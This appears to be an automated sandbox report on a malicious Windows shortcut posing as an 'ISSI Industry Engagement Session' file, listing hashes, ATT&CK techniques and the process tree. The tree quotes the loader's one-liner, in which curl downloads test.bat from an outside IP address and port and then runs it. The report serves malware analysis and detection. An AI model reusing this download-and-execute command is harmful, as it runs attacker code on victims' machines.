d645d6c6fc5f7831c71f7e85cea581c5ea7222b4d7a952af29c69f01ebf05ad4

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 08:19

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General

Target
ISSI_Industry_Engagement_Session_Details_5_October_2026.lnk
Size 1KB
Sample260930-j71cea1grb
SHA256 d645d6c6fc5f7831c71f7e85cea581c5ea7222b4d7a952af29c69f01ebf05ad4
MD5 09290b07fdeb20a4fb944188177467ce
SHA1 b83ebc4398120a1485c02a06f27ba3e52f083887
SHA512 1ea3bbedf042e7cd6676e80f2b676c69b8f51a73d0a451213f21bbb52334a3be99d57d763313b17527d49bc922f28e22983516777a40f3eafad266c7e2e2221b
TLSH
T18E216A252BE5072AC7B28A7A84F363128A35F546E926DF5E029002880C55711FD64F7E
MD5 SHA1 SHA512 TLSH

Score

3^/10

execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4856	cmd.exe
4564	cmd.exe
1136	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 4856	1136	cmd.exe	91
PID 4856 wrote to memory of 2268	4856	cmd.exe	92
PID 4856 wrote to memory of 4564	4856	cmd.exe	93

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	3	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ISSI_Industry_Engagement_Session_Details_5_October_2026.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/c curl -o C:\Windows\Temp\test.bat 5.252.177.210:8090/test.bat && start /b C:\Windows\Temp\test.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\curl.exe
    curl -o C:\Windows\Temp\test.bat 5.252.177.210:8090/test.bat
    3⤵
    PID:2268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Windows\Temp\test.bat"
    3⤵
    - Executes a command shell one-liner
    PID:4564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

test.bat

Path C:\Windows\Temp\test.bat
Size 280B
SHA256 4aad019af75cf6a5bd462b5cc169754568904562263d9bc093986dc66eb03e4d
MD5 ef7cf542bb5b9eb63fb7fc9a3cf7e76f
SHA1 43fd75ab8e3ecac5481b2e3d1a722fd5870693bf
SHA512 5c68c71afc366d9af9fb91ebc447175efe3a12f35a62be56e7ca9c4c4dcf99fbf884e21f367db9b8e53685d5d9ff89e1fd59d023aae1ccc1f4c51e9656d5f0ed
TLSH
T10AD0EBAFA08E20151E4313802AC61980241961F0A08709CC9A4BE48382E00BE8E0BA4C
MD5 SHA1 SHA512 TLSH

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